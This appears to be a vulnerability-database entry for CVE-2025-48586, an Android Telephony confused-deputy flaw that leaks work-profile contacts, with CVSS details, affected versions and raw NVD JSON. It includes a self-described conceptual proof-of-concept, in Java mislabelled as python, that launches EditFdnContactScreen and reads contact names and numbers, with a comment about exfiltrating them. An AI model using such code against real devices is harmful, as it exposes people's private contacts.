Security Vulnerability Report
中文
CVE-2025-48586 CVSS 7.8 HIGH

CVE-2025-48586

Published: 2025-12-08 17:16:16
Last Modified: 2025-12-09 21:40:41

Description

In onActivityResult of EditFdnContactScreen.java, there is a possible way to leak contacts from the work profile due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE
Android Telephony Service (具体版本需查看2025-12-01安全公告)
受影响的Android版本范围需参考source.android.com/security/bulletin/2025-12-01

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48586 PoC - Confused Deputy Attack on Android EditFdnContactScreen // This PoC demonstrates the concept of exploiting the confused deputy vulnerability // Step 1: Launch the EditFdnContactScreen activity with a malicious callback Intent intent = new Intent(); intent.setComponent(new ComponentName( "com.android.phone", "com.android.phone.EditFdnContactScreen" )); intent.setAction(Intent.ACTION_INSERT_OR_EDIT); intent.putExtra("insert_edit_mode", "insert"); // Step 2: Register a custom ActivityResultCallback to intercept results registerForActivityResult(new ActivityResultContracts.StartActivityForResult(), result -> { if (result.getResultCode() == Activity.RESULT_OK) { Intent data = result.getData(); if (data != null) { // Step 3: Extract contact data from the returned intent // Due to the confused deputy issue, work profile contacts may be exposed Bundle extras = data.getExtras(); if (extras != null) { String contactName = extras.getString("name"); String contactPhone = extras.getString("number"); // Log or exfiltrate the contact data Log.d("CVE-2025-48586", "Leaked Contact: " + contactName + ", " + contactPhone); } } } }).launch(intent); // Note: This is a conceptual PoC. Actual exploitation requires: // 1. Device with work profile configured // 2. FDN contacts enabled in work profile // 3. Specific timing and intent manipulation // Reference: https://android.googlesource.com/platform/packages/services/Telephony/+/851fc787e96189a37f88cb9eaa688087883357c3

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48586", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.823", "lastModified": "2025-12-09T21:40:41.047", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In onActivityResult of EditFdnContactScreen.java, there is a possible way to leak contacts from the work profile due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-441"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/services/Telephony/+/851fc787e96189a37f88cb9eaa688087883357c3", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}